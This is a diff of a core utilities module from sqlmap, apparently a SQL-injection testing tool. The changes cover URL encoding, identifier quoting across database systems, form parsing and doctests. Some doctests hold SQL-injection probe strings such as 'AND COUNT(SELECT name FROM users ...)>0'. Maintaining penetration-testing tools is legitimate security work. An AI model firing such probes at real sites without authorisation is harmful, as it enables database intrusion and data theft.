||||||
|
|
||||||
|
def isDigit(value):
|
||||||
|
"""
|
||||||
|
Checks if provided (string) value consists of digits (Note: Python's isdigit() is problematic)
|
||||||
|
|
||||||
|
>>> u'\xb2'.isdigit()
|
||||||
|
True
|
||||||
|
>>> isDigit(u'\xb2')
|
||||||
|
False
|
||||||
|
>>> isDigit('123456')
|
||||||
|
True
|
||||||
|
>>> isDigit('3b3')
|
||||||
|
False
|
||||||
|
"""
|
||||||
|
|
||||||
|
return re.search(r"\A[0-9]+\Z", value or "") is not None
|
||||||
|
|
||||||
def checkFile(filename, raiseOnError=True):
|
def checkFile(filename, raiseOnError=True):
|
||||||
"""
|
"""
|
||||||
Checks for file existence and readability
|
Checks for file existence and readability
|
||||||
@@ -1355,7 +1390,6 @@ def setPaths(rootPath):
|
|||||||
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
|
paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
|
||||||
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
|
||||||
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
|
paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
|
||||||
paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf")
|
|
||||||
|
|
||||||
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
|
paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
|
||||||
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
|
paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
|
||||||
@@ -1376,7 +1410,6 @@ def setPaths(rootPath):
|
|||||||
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
|
paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
|
||||||
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
|
||||||
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
|
paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
|
||||||
paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
|
|
||||||
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
|
||||||
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
|
||||||
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
|
||||||
@@ -1441,7 +1474,7 @@ def parseTargetDirect():
|
|||||||
remote = False
|
remote = False
|
||||||
|
|
||||||
for dbms in SUPPORTED_DBMS:
|
for dbms in SUPPORTED_DBMS:
|
||||||
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
|
||||||
|
|
||||||
if details:
|
if details:
|
||||||
conf.dbms = details.group("dbms")
|
conf.dbms = details.group("dbms")
|
||||||
@@ -1626,15 +1659,15 @@ def parseTargetUrl():
|
|||||||
if '=' not in urlSplit.query:
|
if '=' not in urlSplit.query:
|
||||||
conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
|
conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
|
||||||
else:
|
else:
|
||||||
conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
|
||||||
|
|
||||||
if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
|
if (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3) and not any(_[0].upper() == HTTP_HEADER.REFERER.upper() for _ in conf.httpHeaders):
|
||||||
debugMsg = "setting the HTTP Referer header to the target URL"
|
debugMsg = "setting the HTTP Referer header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.REFERER]
|
||||||
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.url.replace(kb.customInjectionMark, "")))
|
||||||
|
|
||||||
if not conf.host and (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5):
|
if (intersect(HOST_ALIASES, conf.testParameter, True) or conf.level >= 5) and not any(_[0].upper() == HTTP_HEADER.HOST.upper() for _ in conf.httpHeaders):
|
||||||
debugMsg = "setting the HTTP Host header to the target URL"
|
debugMsg = "setting the HTTP Host header to the target URL"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
conf.httpHeaders = [_ for _ in conf.httpHeaders if _[0] != HTTP_HEADER.HOST]
|
||||||
@@ -1680,7 +1713,7 @@ def expandAsteriskForColumns(expression):
|
|||||||
if db is None:
|
if db is None:
|
||||||
if expression != conf.sqlQuery:
|
if expression != conf.sqlQuery:
|
||||||
conf.db = db
|
conf.db = db
|
||||||
else:
|
elif conf.db:
|
||||||
expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression)
|
expression = re.sub(r"([^\w])%s" % re.escape(conf.tbl), r"\g<1>%s.%s" % (conf.db, conf.tbl), expression)
|
||||||
else:
|
else:
|
||||||
conf.db = db
|
conf.db = db
|
||||||
@@ -1953,7 +1986,7 @@ def safeFilepathEncode(filepath):
|
|||||||
retVal = filepath
|
retVal = filepath
|
||||||
|
|
||||||
if filepath and six.PY2 and isinstance(filepath, six.text_type):
|
if filepath and six.PY2 and isinstance(filepath, six.text_type):
|
||||||
retVal = filepath.encode(sys.getfilesystemencoding() or UNICODE_ENCODING)
|
retVal = getBytes(filepath, sys.getfilesystemencoding() or UNICODE_ENCODING)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -2001,6 +2034,8 @@ def safeStringFormat(format_, params):
|
|||||||
if retVal.count("%s", start, end) == len(params):
|
if retVal.count("%s", start, end) == len(params):
|
||||||
for param in params:
|
for param in params:
|
||||||
index = retVal.find("%s", start)
|
index = retVal.find("%s", start)
|
||||||
|
if isinstance(param, six.string_types):
|
||||||
|
param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
|
||||||
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
|
retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
|
||||||
else:
|
else:
|
||||||
if any('%s' in _ for _ in conf.parameters.values()):
|
if any('%s' in _ for _ in conf.parameters.values()):
|
||||||
@@ -2026,7 +2061,7 @@ def safeStringFormat(format_, params):
|
|||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
|
|
||||||
retVal = getText(retVal)
|
retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
@@ -2298,16 +2333,6 @@ def readCachedFileContent(filename, mode="rb"):
|
|||||||
|
|
||||||
return kb.cache.content[filename]
|
return kb.cache.content[filename]
|
||||||
|
|
||||||
def readXmlFile(xmlFile):
|
|
||||||
"""
|
|
||||||
Reads XML file content and returns its DOM representation
|
|
||||||
"""
|
|
||||||
|
|
||||||
checkFile(xmlFile)
|
|
||||||
retVal = minidom.parse(xmlFile).documentElement
|
|
||||||
|
|
||||||
return retVal
|
|
||||||
|
|
||||||
def average(values):
|
def average(values):
|
||||||
"""
|
"""
|
||||||
Computes the arithmetic mean of a list of numbers.
|
Computes the arithmetic mean of a list of numbers.
|
||||||
@@ -2690,6 +2715,12 @@ def extractErrorMessage(page):
|
|||||||
retVal = candidate
|
retVal = candidate
|
||||||
break
|
break
|
||||||
|
|
||||||
|
if not retVal and wasLastResponseDBMSError():
|
||||||
|
match = re.search(r"[^\n]*SQL[^\n:]*:[^\n]*", page, re.IGNORECASE)
|
||||||
|
|
||||||
|
if match:
|
||||||
|
retVal = match.group(0)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def findLocalPort(ports):
|
def findLocalPort(ports):
|
||||||
@@ -2746,7 +2777,7 @@ def findMultipartPostBoundary(post):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
|
def urldecode(value, encoding=None, unsafe="%%?&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
|
||||||
"""
|
"""
|
||||||
URL decodes given value
|
URL decodes given value
|
||||||
|
|
||||||
@@ -2790,6 +2821,10 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
|
|
||||||
>>> urlencode('AND 1>(2+3)#')
|
>>> urlencode('AND 1>(2+3)#')
|
||||||
'AND%201%3E%282%2B3%29%23'
|
'AND%201%3E%282%2B3%29%23'
|
||||||
|
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%DBA%\\')>0')
|
||||||
|
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25DBA%25%27%29%3E0'
|
||||||
|
>>> urlencode('AND COUNT(SELECT name FROM users WHERE name LIKE \\'%_SYSTEM%\\')>0')
|
||||||
|
'AND%20COUNT%28SELECT%20name%20FROM%20users%20WHERE%20name%20LIKE%20%27%25_SYSTEM%25%27%29%3E0'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.get("direct"):
|
if conf.get("direct"):
|
||||||
@@ -2812,6 +2847,7 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False):
|
|||||||
# encoded (when not representing URL encoded char)
|
# encoded (when not representing URL encoded char)
|
||||||
# except in cases when tampering scripts are used
|
# except in cases when tampering scripts are used
|
||||||
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions:
|
||||||
|
value = re.sub(r"(?<= ')%", "%25", value) # e.g. LIKE '%DBA%'
|
||||||
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
@@ -2986,9 +3022,11 @@ def isNumPosStrValue(value):
|
|||||||
False
|
False
|
||||||
>>> isNumPosStrValue('-2')
|
>>> isNumPosStrValue('-2')
|
||||||
False
|
False
|
||||||
|
>>> isNumPosStrValue('100000000000000000000')
|
||||||
|
False
|
||||||
"""
|
"""
|
||||||
|
|
||||||
return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)
|
return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT
|
||||||
|
|
||||||
@cachedmethod
|
@cachedmethod
|
||||||
def aliasToDbmsEnum(dbms):
|
def aliasToDbmsEnum(dbms):
|
||||||
@@ -3178,7 +3216,10 @@ def isDBMSVersionAtLeast(minimum):
|
|||||||
parts[1] = filterStringValue(parts[1], '[0-9]')
|
parts[1] = filterStringValue(parts[1], '[0-9]')
|
||||||
version = '.'.join(parts)
|
version = '.'.join(parts)
|
||||||
|
|
||||||
version = float(filterStringValue(version, '[0-9.]')) + correction
|
try:
|
||||||
|
version = float(filterStringValue(version, '[0-9.]')) + correction
|
||||||
|
except ValueError:
|
||||||
|
return None
|
||||||
|
|
||||||
if isinstance(minimum, six.string_types):
|
if isinstance(minimum, six.string_types):
|
||||||
if '.' in minimum:
|
if '.' in minimum:
|
||||||
@@ -3464,6 +3505,23 @@ def flattenValue(value):
|
|||||||
else:
|
else:
|
||||||
yield i
|
yield i
|
||||||
|
|
||||||
|
def joinValue(value, delimiter=','):
|
||||||
|
"""
|
||||||
|
Returns a value consisting of joined parts of a given value
|
||||||
|
|
||||||
|
>>> joinValue(['1', '2'])
|
||||||
|
'1,2'
|
||||||
|
>>> joinValue('1')
|
||||||
|
'1'
|
||||||
|
"""
|
||||||
|
|
||||||
|
if isListLike(value):
|
||||||
|
retVal = delimiter.join(value)
|
||||||
|
else:
|
||||||
|
retVal = value
|
||||||
|
|
||||||
|
return retVal
|
||||||
|
|
||||||
def isListLike(value):
|
def isListLike(value):
|
||||||
"""
|
"""
|
||||||
Returns True if the given value is a list-like instance
|
Returns True if the given value is a list-like instance
|
||||||
@@ -3543,8 +3601,14 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="reversible",
|
|||||||
|
|
||||||
>>> "openFile" in openFile(__file__).read()
|
>>> "openFile" in openFile(__file__).read()
|
||||||
True
|
True
|
||||||
|
>>> b"openFile" in openFile(__file__, "rb", None).read()
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
# Reference: https://stackoverflow.com/a/37462452
|
||||||
|
if 'b' in mode:
|
||||||
|
buffering = 0
|
||||||
|
|
||||||
if filename == STDIN_PIPE_DASH:
|
if filename == STDIN_PIPE_DASH:
|
||||||
if filename not in kb.cache.content:
|
if filename not in kb.cache.content:
|
||||||
kb.cache.content[filename] = sys.stdin.read()
|
kb.cache.content[filename] = sys.stdin.read()
|
||||||
@@ -3574,16 +3638,20 @@ def decodeIntToUnicode(value):
|
|||||||
try:
|
try:
|
||||||
if value > 255:
|
if value > 255:
|
||||||
_ = "%x" % value
|
_ = "%x" % value
|
||||||
|
|
||||||
if len(_) % 2 == 1:
|
if len(_) % 2 == 1:
|
||||||
_ = "0%s" % _
|
_ = "0%s" % _
|
||||||
|
|
||||||
raw = decodeHex(_)
|
raw = decodeHex(_)
|
||||||
|
|
||||||
if Backend.isDbms(DBMS.MYSQL):
|
if Backend.isDbms(DBMS.MYSQL):
|
||||||
|
# Reference: https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_ord
|
||||||
# Note: https://github.com/sqlmapproject/sqlmap/issues/1531
|
# Note: https://github.com/sqlmapproject/sqlmap/issues/1531
|
||||||
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
|
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
|
||||||
elif Backend.isDbms(DBMS.MSSQL):
|
elif Backend.isDbms(DBMS.MSSQL):
|
||||||
retVal = getUnicode(raw, "UTF-16-BE") # References: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
|
# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE):
|
retVal = getUnicode(raw, "UTF-16-BE")
|
||||||
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
|
||||||
retVal = _unichr(value)
|
retVal = _unichr(value)
|
||||||
else:
|
else:
|
||||||
retVal = getUnicode(raw, conf.encoding)
|
retVal = getUnicode(raw, conf.encoding)
|
||||||
@@ -3648,7 +3716,7 @@ def unhandledExceptionMessage():
|
|||||||
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
|
||||||
errMsg += "Python version: %s\n" % PYVERSION
|
errMsg += "Python version: %s\n" % PYVERSION
|
||||||
errMsg += "Operating system: %s\n" % platform.platform()
|
errMsg += "Operating system: %s\n" % platform.platform()
|
||||||
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
|
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=getattr(sys.stdin, "encoding", None)))
|
||||||
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, getTechnique()) if getTechnique() is not None else ("DIRECT" if conf.get("direct") else None))
|
||||||
errMsg += "Back-end DBMS:"
|
errMsg += "Back-end DBMS:"
|
||||||
|
|
||||||
@@ -3787,6 +3855,8 @@ def maskSensitiveData(msg):
|
|||||||
|
|
||||||
>>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner'
|
>>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') == 'python sqlmap.py -u *********************************** --banner'
|
||||||
True
|
True
|
||||||
|
>>> maskSensitiveData('sqlmap.py -u test.com/index.go?id=index') == 'sqlmap.py -u **************************'
|
||||||
|
True
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = getUnicode(msg)
|
retVal = getUnicode(msg)
|
||||||
@@ -3941,7 +4011,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
|
|||||||
thread.start()
|
thread.start()
|
||||||
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
|
thread.join(REFLECTED_REPLACEMENT_TIMEOUT)
|
||||||
|
|
||||||
if thread.isAlive():
|
if thread.is_alive():
|
||||||
kb.reflectiveMechanism = False
|
kb.reflectiveMechanism = False
|
||||||
retVal = content
|
retVal = content
|
||||||
if not suppressWarning:
|
if not suppressWarning:
|
||||||
@@ -4001,6 +4071,14 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||||||
Returns a safe representation of SQL identificator name (internal data format)
|
Returns a safe representation of SQL identificator name (internal data format)
|
||||||
|
|
||||||
# Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal
|
# Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal
|
||||||
|
|
||||||
|
>>> pushValue(kb.forcedDbms)
|
||||||
|
>>> kb.forcedDbms = DBMS.MSSQL
|
||||||
|
>>> getText(safeSQLIdentificatorNaming("begin"))
|
||||||
|
'[begin]'
|
||||||
|
>>> getText(safeSQLIdentificatorNaming("foobar"))
|
||||||
|
'foobar'
|
||||||
|
>>> kb.forceDbms = popValue()
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = name
|
retVal = name
|
||||||
@@ -4012,14 +4090,15 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||||||
if _:
|
if _:
|
||||||
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
|
||||||
|
|
||||||
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
# Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
|
||||||
|
if retVal.upper() in kb.keywords or (not isTable and (retVal or " ")[0] == '_') or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
|
||||||
retVal = unsafeSQLIdentificatorNaming(retVal)
|
retVal = unsafeSQLIdentificatorNaming(retVal)
|
||||||
|
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
|
||||||
retVal = "`%s`" % retVal
|
retVal = "`%s`" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
retVal = "\"%s\"" % retVal
|
retVal = "\"%s\"" % retVal
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = "\"%s\"" % retVal.upper()
|
retVal = "\"%s\"" % retVal.upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
if isTable:
|
if isTable:
|
||||||
@@ -4040,16 +4119,24 @@ def safeSQLIdentificatorNaming(name, isTable=False):
|
|||||||
def unsafeSQLIdentificatorNaming(name):
|
def unsafeSQLIdentificatorNaming(name):
|
||||||
"""
|
"""
|
||||||
Extracts identificator's name from its safe SQL representation
|
Extracts identificator's name from its safe SQL representation
|
||||||
|
|
||||||
|
>>> pushValue(kb.forcedDbms)
|
||||||
|
>>> kb.forcedDbms = DBMS.MSSQL
|
||||||
|
>>> getText(unsafeSQLIdentificatorNaming("[begin]"))
|
||||||
|
'begin'
|
||||||
|
>>> getText(unsafeSQLIdentificatorNaming("foobar"))
|
||||||
|
'foobar'
|
||||||
|
>>> kb.forceDbms = popValue()
|
||||||
"""
|
"""
|
||||||
|
|
||||||
retVal = name
|
retVal = name
|
||||||
|
|
||||||
if isinstance(name, six.string_types):
|
if isinstance(name, six.string_types):
|
||||||
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS):
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):
|
||||||
retVal = name.replace("`", "")
|
retVal = name.replace("`", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB):
|
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE):
|
||||||
retVal = name.replace("\"", "")
|
retVal = name.replace("\"", "")
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
|
||||||
retVal = name.replace("\"", "").upper()
|
retVal = name.replace("\"", "").upper()
|
||||||
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
||||||
retVal = name.replace("[", "").replace("]", "")
|
retVal = name.replace("[", "").replace("]", "")
|
||||||
@@ -4299,11 +4386,16 @@ def asciifyUrl(url, forceQuote=False):
|
|||||||
if all(char in string.printable for char in url):
|
if all(char in string.printable for char in url):
|
||||||
return getText(url)
|
return getText(url)
|
||||||
|
|
||||||
|
hostname = parts.hostname
|
||||||
|
|
||||||
|
if isinstance(hostname, six.binary_type):
|
||||||
|
hostname = getUnicode(hostname)
|
||||||
|
|
||||||
# idna-encode domain
|
# idna-encode domain
|
||||||
try:
|
try:
|
||||||
hostname = parts.hostname.encode("idna")
|
hostname = hostname.encode("idna")
|
||||||
except LookupError:
|
except:
|
||||||
hostname = parts.hostname.encode("punycode")
|
hostname = hostname.encode("punycode")
|
||||||
|
|
||||||
# UTF8-quote the other parts. We check each part individually if
|
# UTF8-quote the other parts. We check each part individually if
|
||||||
# if needs to be quoted - that should catch some additional user
|
# if needs to be quoted - that should catch some additional user
|
||||||
@@ -4400,9 +4492,9 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
|||||||
try:
|
try:
|
||||||
forms = ParseResponse(response, backwards_compat=False)
|
forms = ParseResponse(response, backwards_compat=False)
|
||||||
except ParseError:
|
except ParseError:
|
||||||
if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
|
if re.search(r"(?i)<!DOCTYPE html|<html", content or "") and not re.search(r"(?i)\.js(\?|\Z)", url):
|
||||||
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
|
dbgMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
|
||||||
logger.warning(warnMsg)
|
logger.debug(dbgMsg)
|
||||||
filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
|
filtered = _("".join(re.findall(FORM_SEARCH_REGEX, content)), url)
|
||||||
|
|
||||||
if filtered and filtered != content:
|
if filtered and filtered != content:
|
||||||
@@ -4417,54 +4509,77 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
|
|||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
if forms:
|
for form in forms or []:
|
||||||
for form in forms:
|
try:
|
||||||
try:
|
for control in form.controls:
|
||||||
for control in form.controls:
|
if hasattr(control, "items") and not any((control.disabled, control.readonly)):
|
||||||
if hasattr(control, "items") and not any((control.disabled, control.readonly)):
|
# if control has selectable items select first non-disabled
|
||||||
# if control has selectable items select first non-disabled
|
for item in control.items:
|
||||||
for item in control.items:
|
if not item.disabled:
|
||||||
if not item.disabled:
|
if not item.selected:
|
||||||
if not item.selected:
|
item.selected = True
|
||||||
item.selected = True
|
break
|
||||||
break
|
|
||||||
|
|
||||||
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
|
if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
|
||||||
dbgMsg = "skipping '%s'" % form.action
|
dbgMsg = "skipping '%s'" % form.action
|
||||||
logger.debug(dbgMsg)
|
logger.debug(dbgMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
request = form.click()
|
request = form.click()
|
||||||
except (ValueError, TypeError) as ex:
|
except (ValueError, TypeError) as ex:
|
||||||
errMsg = "there has been a problem while "
|
errMsg = "there has been a problem while "
|
||||||
errMsg += "processing page forms ('%s')" % getSafeExString(ex)
|
errMsg += "processing page forms ('%s')" % getSafeExString(ex)
|
||||||
if raise_:
|
if raise_:
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
else:
|
|
||||||
logger.debug(errMsg)
|
|
||||||
else:
|
else:
|
||||||
url = urldecode(request.get_full_url(), kb.pageEncoding)
|
logger.debug(errMsg)
|
||||||
method = request.get_method()
|
else:
|
||||||
data = request.data
|
url = urldecode(request.get_full_url(), kb.pageEncoding)
|
||||||
data = urldecode(data, kb.pageEncoding, spaceplus=False)
|
method = request.get_method()
|
||||||
|
data = request.data
|
||||||
|
data = urldecode(data, kb.pageEncoding, spaceplus=False)
|
||||||
|
|
||||||
if not data and method and method.upper() == HTTPMETHOD.POST:
|
if not data and method and method.upper() == HTTPMETHOD.POST:
|
||||||
debugMsg = "invalid POST form with blank data detected"
|
debugMsg = "invalid POST form with blank data detected"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
# flag to know if we are dealing with the same target host
|
# flag to know if we are dealing with the same target host
|
||||||
_ = checkSameHost(response.geturl(), url)
|
